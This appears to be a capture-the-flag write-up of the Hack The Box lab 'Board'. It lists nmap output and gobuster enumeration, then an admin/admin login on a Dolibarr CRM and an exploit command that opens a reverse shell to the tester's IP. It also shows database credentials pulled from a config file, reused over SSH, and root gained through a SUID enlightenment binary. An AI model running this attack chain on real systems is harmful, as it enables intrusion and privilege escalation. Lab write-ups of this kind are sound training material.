credentials

board.htb
machine ip:10.10.11.11
my ip:10.10.14.16

user leak:
larissa

subdomain:
crm.board.htb

log:
admin admin

soft version:
Sudo version 1.8.31

$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';

report

board.htb
target ip:10.10.11.11
my ip:10.10.14.16

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.
0)
| ssh-hostkey:
|   3072 062d3b851059ff7366277f0eae03eaf4 (RSA)
|   256 5903dc52873a35993444743378313 5fb (ECDSA)
|_  256 ab1338e43ee024b46938a9638238ddf4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.33 seconds
```

We find a webserver with a useless html, so we need to do a bit more enumeration:

gobuster vhost -u board.htb -w /usr/share/wordlists/n0kovo_subdomains_small.txt --append-domain

we find a new subdomain: crm.board.htb

echo "10.10.11.11 crm.board.htb" | sudo tee -a /etc/hosts

There is a login page

admin admin log us

We see that the website is ran by dolibarr.
Looking online, we can find some exploit.

python3 exploit.py http://crm.board.htb admin admin 10.10.14.16 9001

We can get a reverse shell this way, and than more enumeration begin. Looking for conf file is always a good idea. This way we found new credentials:

ssh larissa serverfun2$2023!!

sudo -l give nothing and there seem to be nothing.

We use linpeas to look for privilege escalation.

Exploit sudo outdated version doesnt work, neither did dirty pipe etc...

A weird unknown suid binary is found by linpeas:
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)

There seem to be some exploit for this file so lets try this.

we upload exploit.sh to our target and launch it and we get root.